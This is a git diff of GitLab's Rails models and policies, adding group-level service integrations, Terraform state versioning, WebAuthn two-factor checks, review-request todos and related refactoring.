diff --git a/app/models/resource_state_event.rb b/app/models/resource_state_event.rb
index 766b4d7a865..1ce4e14d289 100644
--- a/app/models/resource_state_event.rb
+++ b/app/models/resource_state_event.rb
@@ -19,3 +19,5 @@ class ResourceStateEvent < ResourceEvent
issue || merge_request
end
end
+
+ResourceStateEvent.prepend_if_ee('EE::ResourceStateEvent')
diff --git a/app/models/security_event.rb b/app/models/security_event.rb
deleted file mode 100644
index 3fe4cc99c9b..00000000000
--- a/app/models/security_event.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-# frozen_string_literal: true
-
-class SecurityEvent < AuditEvent
-end
diff --git a/app/models/service.rb b/app/models/service.rb
index 40e7e5552d1..e63e06bf46f 100644
--- a/app/models/service.rb
+++ b/app/models/service.rb
@@ -9,12 +9,11 @@ class Service < ApplicationRecord
include DataFields
include IgnorableColumns
- ignore_columns %i[title description], remove_with: '13.4', remove_after: '2020-09-22'
ignore_columns %i[default], remove_with: '13.5', remove_after: '2020-10-22'
SERVICE_NAMES = %w[
alerts asana assembla bamboo bugzilla buildkite campfire confluence custom_issue_tracker discord
- drone_ci emails_on_push external_wiki flowdock hangouts_chat hipchat irker jira
+ drone_ci emails_on_push ewm external_wiki flowdock hangouts_chat hipchat irker jira
mattermost mattermost_slash_commands microsoft_teams packagist pipelines_email
pivotaltracker prometheus pushover redmine slack slack_slash_commands teamcity unify_circuit webex_teams youtrack
].freeze
@@ -27,16 +26,17 @@ class Service < ApplicationRecord
default_value_for :active, false
default_value_for :alert_events, true
- default_value_for :push_events, true
- default_value_for :issues_events, true
- default_value_for :confidential_issues_events, true
+ default_value_for :category, 'common'
default_value_for :commit_events, true
- default_value_for :merge_requests_events, true
- default_value_for :tag_push_events, true
- default_value_for :note_events, true
+ default_value_for :confidential_issues_events, true
default_value_for :confidential_note_events, true
+ default_value_for :issues_events, true
default_value_for :job_events, true
+ default_value_for :merge_requests_events, true
+ default_value_for :note_events, true
default_value_for :pipeline_events, true
+ default_value_for :push_events, true
+ default_value_for :tag_push_events, true
default_value_for :wiki_page_events, true
after_initialize :initialize_properties
@@ -46,6 +46,7 @@ class Service < ApplicationRecord
after_commit :cache_project_has_external_wiki
belongs_to :project, inverse_of: :services
+ belongs_to :group, inverse_of: :services
has_one :service_hook
validates :project_id, presence: true, unless: -> { template? || instance? || group_id }
@@ -64,8 +65,9 @@ class Service < ApplicationRecord
scope :active, -> { where(active: true) }
scope :by_type, -> (type) { where(type: type) }
scope :by_active_flag, -> (flag) { where(active: flag) }
- scope :templates, -> { where(template: true, type: available_services_types) }
- scope :instances, -> { where(instance: true, type: available_services_types) }
+ scope :for_group, -> (group) { where(group_id: group, type: available_services_types) }
+ scope :for_template, -> { where(template: true, type: available_services_types) }
+ scope :for_instance, -> { where(instance: true, type: available_services_types) }
scope :push_hooks, -> { where(push_events: true, active: true) }
scope :tag_push_hooks, -> { where(tag_push_events: true, active: true) }
@@ -81,7 +83,178 @@ class Service < ApplicationRecord
scope :alert_hooks, -> { where(alert_events: true, active: true) }
scope :deployment, -> { where(category: 'deployment') }
- default_value_for :category, 'common'
+ # Provide convenient accessor methods for each serialized property.
+ # Also keep track of updated properties in a similar way as ActiveModel::Dirty
+ def self.prop_accessor(*args)
+ args.each do |arg|
+ class_eval <<~RUBY, __FILE__, __LINE__ + 1
+ unless method_defined?(arg)
+ def #{arg}
+ properties['#{arg}']
+ end
+ end
+
+ def #{arg}=(value)
+ self.properties ||= {}
+ updated_properties['#{arg}'] = #{arg} unless #{arg}_changed?
+ self.properties['#{arg}'] = value
+ end
+
+ def #{arg}_changed?
+ #{arg}_touched? && #{arg} != #{arg}_was
+ end
+
+ def #{arg}_touched?
+ updated_properties.include?('#{arg}')
+ end
+
+ def #{arg}_was
+ updated_properties['#{arg}']
+ end
+ RUBY
+ end
+ end
+
+ # Provide convenient boolean accessor methods for each serialized property.
+ # Also keep track of updated properties in a similar way as ActiveModel::Dirty
+ def self.boolean_accessor(*args)
+ self.prop_accessor(*args)
+
+ args.each do |arg|
+ class_eval <<~RUBY, __FILE__, __LINE__ + 1
+ def #{arg}?
+ # '!!' is used because nil or empty string is converted to nil
+ !!ActiveRecord::Type::Boolean.new.cast(#{arg})
+ end
+ RUBY
+ end
+ end
+
+ def self.to_param
+ raise NotImplementedError
+ end
+
+ def self.event_names
+ self.supported_events.map { |event| ServicesHelper.service_event_field_name(event) }
+ end
+
+ def self.supported_event_actions
+ %w[]
+ end
+
+ def self.supported_events
+ %w[commit push tag_push issue confidential_issue merge_request wiki_page]
+ end
+
+ def self.event_description(event)
+ ServicesHelper.service_event_description(event)
+ end
+
+ def self.find_or_create_templates
+ create_nonexistent_templates
+ for_template
+ end
+
+ def self.create_nonexistent_templates
+ nonexistent_services = list_nonexistent_services_for(for_template)
+ return if nonexistent_services.empty?
+
+ # Create within a transaction to perform the lowest possible SQL queries.
+ transaction do
+ nonexistent_services.each do |service_type|
+ service_type.constantize.create(template: true)
+ end
+ end
+ end
+ private_class_method :create_nonexistent_templates
+
+ def self.find_or_initialize_integration(name, instance: false, group_id: nil)
+ if name.in?(available_services_names)
+ "#{name}_service".camelize.constantize.find_or_initialize_by(instance: instance, group_id: group_id)
+ end
+ end
+
+ def self.find_or_initialize_all(scope)
+ scope + build_nonexistent_services_for(scope)
+ end
+
+ def self.build_nonexistent_services_for(scope)
+ list_nonexistent_services_for(scope).map do |service_type|
+ service_type.constantize.new
+ end
+ end
+ private_class_method :build_nonexistent_services_for
+
+ def self.list_nonexistent_services_for(scope)
+ # Using #map instead of #pluck to save one query count. This is because
+ # ActiveRecord loaded the object here, so we don't need to query again later.
+ available_services_types - scope.map(&:type)
+ end
+ private_class_method :list_nonexistent_services_for
+
+ def self.available_services_names
+ service_names = services_names
+ service_names += dev_services_names
+
+ service_names.sort_by(&:downcase)
+ end
+
+ def self.services_names
+ SERVICE_NAMES
+ end
+
+ def self.dev_services_names
+ return [] unless Rails.env.development?
+
+ DEV_SERVICE_NAMES
+ end
+
+ def self.available_services_types
+ available_services_names.map { |service_name| "#{service_name}_service".camelize }
+ end
+
+ def self.services_types
+ services_names.map { |service_name| "#{service_name}_service".camelize }
+ end
+
+ def self.build_from_integration(project_id, integration)
+ service = integration.dup
+
+ if integration.supports_data_fields?
+ data_fields = integration.data_fields.dup
+ data_fields.service = service
+ end
+
+ service.template = false
+ service.instance = false
+ service.inherit_from_id = integration.id if integration.instance?
+ service.project_id = project_id
+ service.active = false if service.invalid?
+ service
+ end
+
+ def self.instance_exists_for?(type)
+ exists?(instance: true, type: type)
+ end
+
+ def self.default_integration(type, scope)
+ closest_group_integration(type, scope) || instance_level_integration(type)
+ end
+
+ def self.closest_group_integration(type, scope)
+ group_ids = scope.ancestors.select(:id)
+ array = group_ids.to_sql.present? ? "array(#{group_ids.to_sql})" : 'ARRAY[]'
+
+ where(type: type, group_id: group_ids)
+ .order(Arel.sql("array_position(#{array}::bigint[], services.group_id)"))
+ .first
+ end
+ private_class_method :closest_group_integration
+
+ def self.instance_level_integration(type)
+ find_by(type: type, instance: true)
+ end
+ private_class_method :instance_level_integration
def activated?
active
@@ -124,10 +297,6 @@ class Service < ApplicationRecord
self.class.to_param
end
- def self.to_param
- raise NotImplementedError
- end
-
def fields
# implement inside child
[]
@@ -137,11 +306,11 @@ class Service < ApplicationRecord
#
# This list is used in `Service#as_json(only: json_fields)`.
def json_fields
- %w(active)
+ %w[active]
end
def to_service_hash
- as_json(methods: :type, except: %w[id template instance project_id])
+ as_json(methods: :type, except: %w[id template instance project_id group_id])
end
def to_data_fields_hash
@@ -156,10 +325,6 @@ class Service < ApplicationRecord
self.class.event_names
end
- def self.event_names
- self.supported_events.map { |event| ServicesHelper.service_event_field_name(event) }
- end
-
def event_field(event)
nil
end
@@ -188,18 +353,10 @@ class Service < ApplicationRecord
self.class.supported_event_actions
end
- def self.supported_event_actions
- %w()
- end
-
def supported_events
self.class.supported_events
end
- def self.supported_events
- %w(commit push tag_push issue confidential_issue merge_request wiki_page)
- end
-
def execute(data)
# implement inside child
end
@@ -210,59 +367,10 @@ class Service < ApplicationRecord
{ success: result.present?, result: result }
end
- # Disable test for instance-level services.
+ # Disable test for instance-level and group-level services.
# https://gitlab.com/gitlab-org/gitlab/-/issues/213138
def can_test?
- !instance?
- end
-
- # Provide convenient accessor methods
- # for each serialized property.
- # Also keep track of updated properties in a similar way as ActiveModel::Dirty
- def self.prop_accessor(*args)
- args.each do |arg|
- class_eval <<~RUBY, __FILE__, __LINE__ + 1
- unless method_defined?(arg)
- def #{arg}
- properties['#{arg}']
- end
- end
-
- def #{arg}=(value)
- self.properties ||= {}
- updated_properties['#{arg}'] = #{arg} unless #{arg}_changed?
- self.properties['#{arg}'] = value
- end
-
- def #{arg}_changed?
- #{arg}_touched? && #{arg} != #{arg}_was
- end
-
- def #{arg}_touched?
- updated_properties.include?('#{arg}')
- end
-
- def #{arg}_was
- updated_properties['#{arg}']
- end
- RUBY
- end
- end
-
- # Provide convenient boolean accessor methods
- # for each serialized property.
- # Also keep track of updated properties in a similar way as ActiveModel::Dirty
- def self.boolean_accessor(*args)
- self.prop_accessor(*args)
-
- args.each do |arg|
- class_eval <<~RUBY, __FILE__, __LINE__ + 1
- def #{arg}?
- # '!!' is used because nil or empty string is converted to nil
- !!ActiveRecord::Type::Boolean.new.cast(#{arg})
- end
- RUBY
- end
+ !instance? && !group_id
end
# Returns a hash of the properties that have been assigned a new value since last save,
@@ -289,86 +397,6 @@ class Service < ApplicationRecord
self.category == :issue_tracker
end
- def self.find_or_create_templates
- create_nonexistent_templates
- templates
- end
-
- private_class_method def self.create_nonexistent_templates
- nonexistent_services = list_nonexistent_services_for(templates)
- return if nonexistent_services.empty?
-
- # Create within a transaction to perform the lowest possible SQL queries.
- transaction do
- nonexistent_services.each do |service_type|
- service_type.constantize.create(template: true)
- end
- end
- end
-
- def self.find_or_initialize_instances
- instances + build_nonexistent_instances
- end
-
- private_class_method def self.build_nonexistent_instances
- list_nonexistent_services_for(instances).map do |service_type|
- service_type.constantize.new
- end
- end
-
- private_class_method def self.list_nonexistent_services_for(scope)
- available_services_types - scope.map(&:type)
- end
-
- def self.available_services_names
- service_names = services_names
- service_names += dev_services_names
-
- service_names.sort_by(&:downcase)
- end
-
- def self.services_names
- SERVICE_NAMES
- end
-
- def self.dev_services_names
- return [] unless Rails.env.development?
-
- DEV_SERVICE_NAMES
- end
-
- def self.available_services_types
- available_services_names.map { |service_name| "#{service_name}_service".camelize }
- end
-
- def self.services_types
- services_names.map { |service_name| "#{service_name}_service".camelize }
- end
-
- def self.build_from_integration(project_id, integration)
- service = integration.dup
-
- if integration.supports_data_fields?
- data_fields = integration.data_fields.dup
- data_fields.service = service
- end
-
- service.template = false
- service.instance = false
- service.inherit_from_id = integration.id if integration.instance?
- service.project_id = project_id
- service.active = false if service.invalid?
- service
- end
-
- def self.instance_exists_for?(type)
- exists?(instance: true, type: type)
- end
-
- def self.instance_for(type)
- find_by(instance: true, type: type)
- end
-
# override if needed
def supports_data_fields?
false
@@ -396,10 +424,6 @@ class Service < ApplicationRecord
end
end
- def self.event_description(event)
- ServicesHelper.service_event_description(event)
- end
-
def valid_recipients?
activated? && !importing?
end
diff --git a/app/models/service_list.rb b/app/models/service_list.rb
index fa3760f0c56..9cbc5e68059 100644
--- a/app/models/service_list.rb
+++ b/app/models/service_list.rb
@@ -1,10 +1,10 @@
# frozen_string_literal: true
class ServiceList
- def initialize(batch, service_hash, extra_hash = {})
- @batch = batch
+ def initialize(batch_ids, service_hash, association)
+ @batch_ids = batch_ids
@service_hash = service_hash
- @extra_hash = extra_hash
+ @association = association
end
def to_array
@@ -13,15 +13,15 @@ class ServiceList
private
- attr_reader :batch, :service_hash, :extra_hash
+ attr_reader :batch_ids, :service_hash, :association
def columns
- (service_hash.keys << 'project_id') + extra_hash.keys
+ (service_hash.keys << "#{association}_id")
end
def values
- batch.map do |project_id|
- (service_hash.values << project_id) + extra_hash.values
+ batch_ids.map do |id|
+ (service_hash.values << id)
end
end
end
diff --git a/app/models/snippet.rb b/app/models/snippet.rb
index eb3960ff12b..1cf3097861c 100644
--- a/app/models/snippet.rb
+++ b/app/models/snippet.rb
@@ -214,7 +214,7 @@ class Snippet < ApplicationRecord
def blobs
return [] unless repository_exists?
- repository.ls_files(repository.root_ref).map { |file| Blob.lazy(repository, repository.root_ref, file) }
+ repository.ls_files(default_branch).map { |file| Blob.lazy(repository, default_branch, file) }
end
def hook_attrs
@@ -275,7 +275,7 @@ class Snippet < ApplicationRecord
override :repository
def repository
- @repository ||= Repository.new(full_path, self, shard: repository_storage, disk_path: disk_path, repo_type: Gitlab::GlRepository::SNIPPET)
+ @repository ||= Gitlab::GlRepository::SNIPPET.repository_for(self)
end
override :repository_size_checker
@@ -309,6 +309,11 @@ class Snippet < ApplicationRecord
end
end
+ override :default_branch
+ def default_branch
+ super || 'master'
+ end
+
def repository_storage
snippet_repository&.shard_name || self.class.pick_repository_storage
end
@@ -336,13 +341,17 @@ class Snippet < ApplicationRecord
def file_name_on_repo
return if repository.empty?
- list_files(repository.root_ref).first
+ list_files(default_branch).first
end
def list_files(ref = nil)
return [] if repository.empty?
- repository.ls_files(ref)
+ repository.ls_files(ref || default_branch)
+ end
+
+ def multiple_files?
+ list_files.size > 1
end
class << self
diff --git a/app/models/snippet_input_action.rb b/app/models/snippet_input_action.rb
index cc6373264cc..b5362b5c14e 100644
--- a/app/models/snippet_input_action.rb
+++ b/app/models/snippet_input_action.rb
@@ -15,7 +15,7 @@ class SnippetInputAction
validates :action, inclusion: { in: ACTIONS, message: "%{value} is not a valid action" }
validates :previous_path, presence: true, if: :move_action?
- validates :file_path, presence: true, unless: :create_action?
+ validates :file_path, presence: true, if: -> (action) { action.update_action? || action.delete_action? }
validates :content, presence: true, if: -> (action) { action.create_action? || action.update_action? }
validate :ensure_same_file_path_and_previous_path, if: :update_action?
validate :ensure_different_file_path_and_previous_path, if: :move_action?
diff --git a/app/models/snippet_repository.rb b/app/models/snippet_repository.rb
index 8151308125a..2cfb201191d 100644
--- a/app/models/snippet_repository.rb
+++ b/app/models/snippet_repository.rb
@@ -93,7 +93,7 @@ class SnippetRepository < ApplicationRecord
end
def get_last_empty_file_index
- repository.ls_files(nil).inject(0) do |max, file|
+ repository.ls_files(snippet.default_branch).inject(0) do |max, file|
idx = file[EMPTY_FILE_PATTERN, 1].to_i
[idx, max].max
end
@@ -131,3 +131,5 @@ class SnippetRepository < ApplicationRecord
action[:action] == :update && action[:content].nil?
end
end
+
+SnippetRepository.prepend_if_ee('EE::SnippetRepository')
diff --git a/app/models/snippet_statistics.rb b/app/models/snippet_statistics.rb
index 7439f98d114..8545296d076 100644
--- a/app/models/snippet_statistics.rb
+++ b/app/models/snippet_statistics.rb
@@ -25,7 +25,7 @@ class SnippetStatistics < ApplicationRecord
def update_file_count
count = if snippet.repository_exists?
- repository.ls_files(repository.root_ref).size
+ repository.ls_files(snippet.default_branch).size
else
0
end
diff --git a/app/models/system_note_metadata.rb b/app/models/system_note_metadata.rb
index b6ba96c768e..961212d0295 100644
--- a/app/models/system_note_metadata.rb
+++ b/app/models/system_note_metadata.rb
@@ -11,6 +11,7 @@ class SystemNoteMetadata < ApplicationRecord
close duplicate
moved merge
label milestone
+ relate unrelate
].freeze
ICON_TYPES = %w[
@@ -19,7 +20,7 @@ class SystemNoteMetadata < ApplicationRecord
title time_tracking branch milestone discussion task moved
opened closed merged duplicate locked unlocked outdated
tag due_date pinned_embed cherry_pick health_status approved unapproved
- status alert_issue_added
+ status alert_issue_added relate unrelate new_alert_added
].freeze
validates :note, presence: true
diff --git a/app/models/terraform/state.rb b/app/models/terraform/state.rb
index c50b9da1310..419fffcb666 100644
--- a/app/models/terraform/state.rb
+++ b/app/models/terraform/state.rb
@@ -5,27 +5,34 @@ module Terraform
include UsageStatistics
include FileStoreMounter
- DEFAULT = '{"version":1}'.freeze
HEX_REGEXP = %r{\A\h+\z}.freeze
UUID_LENGTH = 32
belongs_to :project
belongs_to :locked_by_user, class_name: 'User'
+ has_many :versions, class_name: 'Terraform::StateVersion', foreign_key: :terraform_state_id
+ has_one :latest_version, -> { ordered_by_version_desc }, class_name: 'Terraform::StateVersion', foreign_key: :terraform_state_id
+
+ scope :versioning_not_enabled, -> { where(versioning_enabled: false) }
+
validates :project_id, presence: true
validates :uuid, presence: true, uniqueness: true, length: { is: UUID_LENGTH },
format: { with: HEX_REGEXP, message: 'only allows hex characters' }
default_value_for(:uuid, allows_nil: false) { SecureRandom.hex(UUID_LENGTH / 2) }
+ default_value_for(:versioning_enabled, true)
mount_file_store_uploader StateUploader
- default_value_for(:file) { CarrierWaveStringFile.new(DEFAULT) }
-
def file_store
super || StateUploader.default_store
end
+ def latest_file
+ versioning_enabled ? latest_version&.file : file
+ end
+
def local?
file_store == ObjectStorage::Store::LOCAL
end
@@ -33,6 +40,17 @@ module Terraform
def locked?
self.lock_xid.present?
end
+
+ def update_file!(data, version:)
+ if versioning_enabled?
+ new_version = versions.build(version: version)
+ new_version.assign_attributes(created_by_user: locked_by_user, file: data)
+ new_version.save!
+ else
+ self.file = data
+ save!
+ end
+ end
end
end
diff --git a/app/models/terraform/state_version.rb b/app/models/terraform/state_version.rb
new file mode 100644
index 00000000000..d5e315d18a1
--- /dev/null
+++ b/app/models/terraform/state_version.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Terraform
+ class StateVersion < ApplicationRecord
+ include FileStoreMounter
+
+ belongs_to :terraform_state, class_name: 'Terraform::State', optional: false
+ belongs_to :created_by_user, class_name: 'User', optional: true
+
+ scope :ordered_by_version_desc, -> { order(version: :desc) }
+
+ default_value_for(:file_store) { VersionedStateUploader.default_store }
+
+ mount_file_store_uploader VersionedStateUploader
+
+ delegate :project_id, :uuid, to: :terraform_state, allow_nil: true
+ end
+end
diff --git a/app/models/timelog.rb b/app/models/timelog.rb
index c0aac6f27aa..60aaaaef831 100644
--- a/app/models/timelog.rb
+++ b/app/models/timelog.rb
@@ -7,6 +7,7 @@ class Timelog < ApplicationRecord
belongs_to :issue, touch: true
belongs_to :merge_request, touch: true
belongs_to :user
+ belongs_to :note
scope :for_issues_in_group, -> (group) do
joins(:issue).where(
diff --git a/app/models/todo.rb b/app/models/todo.rb
index f973c1ff1d4..6c8e085762d 100644
--- a/app/models/todo.rb
+++ b/app/models/todo.rb
@@ -17,9 +17,11 @@ class Todo < ApplicationRecord
UNMERGEABLE = 6
DIRECTLY_ADDRESSED = 7
MERGE_TRAIN_REMOVED = 8 # This is an EE-only feature
+ REVIEW_REQUESTED = 9
ACTION_NAMES = {
ASSIGNED => :assigned,
+ REVIEW_REQUESTED => :review_requested,
MENTIONED => :mentioned,
BUILD_FAILED => :build_failed,
MARKED => :marked,
@@ -167,6 +169,10 @@ class Todo < ApplicationRecord
action == ASSIGNED
end
+ def review_requested?
+ action == REVIEW_REQUESTED
+ end
+
def merge_train_removed?
action == MERGE_TRAIN_REMOVED
end
diff --git a/app/models/user.rb b/app/models/user.rb
index f31a6823657..0a784b30d8f 100644
--- a/app/models/user.rb
+++ b/app/models/user.rb
@@ -58,6 +58,8 @@ class User < ApplicationRecord
devise :lockable, :recoverable, :rememberable, :trackable,
:validatable, :omniauthable, :confirmable, :registerable
+ include AdminChangedPasswordNotifier
+
# This module adds async behaviour to Devise emails
# and should be added after Devise modules are initialized.
include AsyncDeviseEmail
@@ -107,17 +109,18 @@ class User < ApplicationRecord
has_many :group_deploy_keys
has_many :gpg_keys
- has_many :emails, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
+ has_many :emails
has_many :personal_access_tokens, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
has_many :identities, dependent: :destroy, autosave: true # rubocop:disable Cop/ActiveRecordDependent
has_many :u2f_registrations, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
+ has_many :webauthn_registrations
has_many :chat_names, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
has_one :user_synced_attributes_metadata, autosave: true
has_one :aws_role, class_name: 'Aws::Role'
# Groups
has_many :members
- has_many :group_members, -> { where(requested_at: nil) }, source: 'GroupMember'
+ has_many :group_members, -> { where(requested_at: nil).where("access_level >= ?", Gitlab::Access::GUEST) }, source: 'GroupMember'
has_many :groups, through: :group_members
has_many :owned_groups, -> { where(members: { access_level: Gitlab::Access::OWNER }) }, through: :group_members, source: :group
has_many :maintainers_groups, -> { where(members: { access_level: Gitlab::Access::MAINTAINER }) }, through: :group_members, source: :group
@@ -181,6 +184,7 @@ class User < ApplicationRecord
has_one :user_detail
has_one :user_highest_role
has_one :user_canonical_email
+ has_one :atlassian_identity, class_name: 'Atlassian::Identity'
has_many :reviews, foreign_key: :author_id, inverse_of: :author
@@ -275,6 +279,7 @@ class User < ApplicationRecord
:view_diffs_file_by_file, :view_diffs_file_by_file=,
:tab_width, :tab_width=,
:sourcegraph_enabled, :sourcegraph_enabled=,
+ :gitpod_enabled, :gitpod_enabled=,
:setup_for_company, :setup_for_company=,
:render_whitespace_in_code, :render_whitespace_in_code=,
:experience_level, :experience_level=,
@@ -283,6 +288,7 @@ class User < ApplicationRecord
delegate :path, to: :namespace, allow_nil: true, prefix: true
delegate :job_title, :job_title=, to: :user_detail, allow_nil: true
delegate :bio, :bio=, :bio_html, to: :user_detail, allow_nil: true
+ delegate :webauthn_xid, :webauthn_xid=, to: :user_detail, allow_nil: true
accepts_nested_attributes_for :user_preference, update_only: true
accepts_nested_attributes_for :user_detail, update_only: true
@@ -431,14 +437,21 @@ class User < ApplicationRecord
FROM u2f_registrations AS u2f
WHERE u2f.user_id = users.id
) OR users.otp_required_for_login = ?
+ OR
+ EXISTS (
+ SELECT *
+ FROM webauthn_registrations AS webauthn
+ WHERE webauthn.user_id = users.id
+ )
SQL
where(with_u2f_registrations, true)
end
def self.without_two_factor
- joins("LEFT OUTER JOIN u2f_registrations AS u2f ON u2f.user_id = users.id")
- .where("u2f.id IS NULL AND users.otp_required_for_login = ?", false)
+ joins("LEFT OUTER JOIN u2f_registrations AS u2f ON u2f.user_id = users.id
+ LEFT OUTER JOIN webauthn_registrations AS webauthn ON webauthn.user_id = users.id")
+ .where("u2f.id IS NULL AND webauthn.id IS NULL AND users.otp_required_for_login = ?", false)
end
#
@@ -751,11 +764,12 @@ class User < ApplicationRecord
otp_backup_codes: nil
)
self.u2f_registrations.destroy_all # rubocop: disable Cop/DestroyAll
+ self.webauthn_registrations.destroy_all # rubocop: disable Cop/DestroyAll
end
end
def two_factor_enabled?
- two_factor_otp_enabled? || two_factor_u2f_enabled?
+ two_factor_otp_enabled? || two_factor_webauthn_u2f_enabled?
end
def two_factor_otp_enabled?
@@ -770,6 +784,16 @@ class User < ApplicationRecord
end
end
+ def two_factor_webauthn_u2f_enabled?
+ two_factor_u2f_enabled? || two_factor_webauthn_enabled?
+ end
+
+ def two_factor_webauthn_enabled?
+ return false unless Feature.enabled?(:webauthn)
+
+ (webauthn_registrations.loaded? && webauthn_registrations.any?) || (!webauthn_registrations.loaded? && webauthn_registrations.exists?)
+ end
+
def namespace_move_dir_allowed
if namespace&.any_project_has_container_registry_tags?
errors.add(:username, _('cannot be changed if a personal project has container registry tags.'))
@@ -1460,6 +1484,11 @@ class User < ApplicationRecord
end
end
+ def notification_settings_for_groups(groups)
+ ids = groups.is_a?(ActiveRecord::Relation) ? groups.select(:id) : groups.map(&:id)
+ notification_settings.for_groups.where(source_id: ids)
+ end
+
# Lazy load global notification setting
# Initializes User setting with Participating level if setting not persisted
def global_notification_setting
@@ -1687,9 +1716,6 @@ class User < ApplicationRecord
[last_activity, last_sign_in].compact.max
end
- # Below is used for the signup_flow experiment. Should be removed
- # when experiment finishes.
- # See https://gitlab.com/gitlab-org/growth/engineering/issues/64
REQUIRES_ROLE_VALUE = 99
def role_required?
@@ -1699,7 +1725,6 @@ class User < ApplicationRecord
def set_role_required!
update_column(:role, REQUIRES_ROLE_VALUE)
end
- # End of signup_flow experiment methods
def dismissed_callout?(feature_name:, ignore_dismissal_earlier_than: nil)
callouts = self.callouts.with_feature_name(feature_name)
diff --git a/app/models/user_callout.rb b/app/models/user_callout.rb
index 82f82356cb4..0ba319aa444 100644
--- a/app/models/user_callout.rb
+++ b/app/models/user_callout.rb
@@ -3,9 +3,30 @@
class UserCallout < ApplicationRecord
belongs_to :user
- # We use `UserCalloutEnums.feature_names` here so that EE can more easily
- # extend this `Hash` with new values.
- enum feature_name: ::UserCalloutEnums.feature_names
+ enum feature_name: {
+ gke_cluster_integration: 1,
+ gcp_signup_offer: 2,
+ cluster_security_warning: 3,
+ gold_trial: 4, # EE-only
+ geo_enable_hashed_storage: 5, # EE-only
+ geo_migrate_hashed_storage: 6, # EE-only
+ canary_deployment: 7, # EE-only
+ gold_trial_billings: 8, # EE-only
+ suggest_popover_dismissed: 9,
+ tabs_position_highlight: 10,
+ threat_monitoring_info: 11, # EE-only
+ account_recovery_regular_check: 12, # EE-only
+ webhooks_moved: 13,
+ service_templates_deprecated: 14,
+ admin_integrations_moved: 15,
+ web_ide_alert_dismissed: 16,
+ active_user_count_threshold: 18, # EE-only
+ buy_pipeline_minutes_notification_dot: 19, # EE-only
+ personal_access_token_expiry: 21, # EE-only
+ suggest_pipeline: 22,
+ customize_homepage: 23,
+ feature_flags_new_version: 24
+ }
validates :user, presence: true
validates :feature_name,
diff --git a/app/models/user_callout_enums.rb b/app/models/user_callout_enums.rb
deleted file mode 100644
index 5b64befd284..00000000000
--- a/app/models/user_callout_enums.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-module UserCalloutEnums
- # Returns the `Hash` to use for the `feature_name` enum in the `UserCallout`
- # model.
- #
- # This method is separate from the `UserCallout` model so that it can be
- # extended by EE.
- #
- # If you are going to add new items to this hash, check that you're not going
- # to conflict with EE-only values: https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/models/ee/user_callout_enums.rb
- def self.feature_names
- {
- gke_cluster_integration: 1,
- gcp_signup_offer: 2,
- cluster_security_warning: 3,
- suggest_popover_dismissed: 9,
- tabs_position_highlight: 10,
- webhooks_moved: 13,
- admin_integrations_moved: 15,
- personal_access_token_expiry: 21, # EE-only
- suggest_pipeline: 22,
- customize_homepage: 23
- }
- end
-end
-
-UserCalloutEnums.prepend_if_ee('EE::UserCalloutEnums')
diff --git a/app/models/vulnerability.rb b/app/models/vulnerability.rb
new file mode 100644
index 00000000000..71d0b1db410
--- /dev/null
+++ b/app/models/vulnerability.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+# Placeholder class for model that is implemented in EE
+# It reserves '+' as a reference prefix, but the table does not exist in FOSS
+class Vulnerability < ApplicationRecord
+ include IgnorableColumns
+
+ def self.reference_prefix
+ '+'
+ end
+
+ def self.reference_prefix_escaped
+ '&plus;'
+ end
+end
+
+Vulnerability.prepend_if_ee('EE::Vulnerability')
diff --git a/app/models/wiki.rb b/app/models/wiki.rb
index 30273d646cf..9462f7401c4 100644
--- a/app/models/wiki.rb
+++ b/app/models/wiki.rb
@@ -133,8 +133,9 @@ class Wiki
commit = commit_details(:created, message, title)
wiki.write_page(title, format.to_sym, content, commit)
+ after_wiki_activity
- update_container_activity
+ true
rescue Gitlab::Git::Wiki::DuplicatePageError => e
@error_message = "Duplicate page: #{e.message}"
false
@@ -144,16 +145,18 @@ class Wiki
commit = commit_details(:updated, message, page.title)
wiki.update_page(page.path, title || page.name, format.to_sym, content, commit)
+ after_wiki_activity
- update_container_activity
+ true
end
def delete_page(page, message = nil)
return unless page
wiki.delete_page(page.path, commit_details(:deleted, message, page.title))
+ after_wiki_activity
- update_container_activity
+ true
end
def page_title_and_dir(title)
@@ -180,7 +183,7 @@ class Wiki
override :repository
def repository
- @repository ||= Repository.new(full_path, container, shard: repository_storage, disk_path: disk_path, repo_type: Gitlab::GlRepository::WIKI)
+ @repository ||= Gitlab::GlRepository::WIKI.repository_for(container)
end
def repository_storage
@@ -209,6 +212,17 @@ class Wiki
web_url(only_path: true).sub(%r{/#{Wiki::HOMEPAGE}\z}, '')
end
+ # Callbacks for synchronous processing after wiki changes.
+ # These will be executed after any change made through GitLab itself (web UI and API),
+ # but not for Git pushes.
+ def after_wiki_activity
+ end
+
+ # Callbacks for background processing after wiki changes.
+ # These will be executed after any change to the wiki repository.
+ def after_post_receive
+ end
+
private
def commit_details(action, message = nil, title = nil)
@@ -225,10 +239,6 @@ class Wiki
def default_message(action, title)
"#{user.username} #{action} page: #{title}"
end
-
- def update_container_activity
- container.after_wiki_activity
- end
end
Wiki.prepend_if_ee('EE::Wiki')
diff --git a/app/policies/ci/build_policy.rb b/app/policies/ci/build_policy.rb
index cc66ad0577d..b3950c6a0e3 100644
--- a/app/policies/ci/build_policy.rb
+++ b/app/policies/ci/build_policy.rb
@@ -20,6 +20,11 @@ module Ci
end
end
+ # overridden in EE
+ condition(:protected_environment_access) do
+ false
+ end
+
condition(:owner_of_job) do
@subject.triggered_by?(@user)
end
@@ -40,7 +45,7 @@ module Ci
@subject.pipeline.webide?
end
- rule { protected_ref | archived }.policy do
+ rule { ~protected_environment_access & (protected_ref | archived) }.policy do
prevent :update_build
prevent :update_commit_status
prevent :erase_build
diff --git a/app/policies/global_policy.rb b/app/policies/global_policy.rb
index c66f0d199b0..de69636b078 100644
--- a/app/policies/global_policy.rb
+++ b/app/policies/global_policy.rb
@@ -15,14 +15,9 @@ class GlobalPolicy < BasePolicy
@user&.required_terms_not_accepted?
end
- condition(:private_instance_statistics, score: 0) { Gitlab::CurrentSettings.instance_statistics_visibility_private? }
-
condition(:project_bot, scope: :user) { @user&.project_bot? }
condition(:migration_bot, scope: :user) { @user&.migration_bot? }
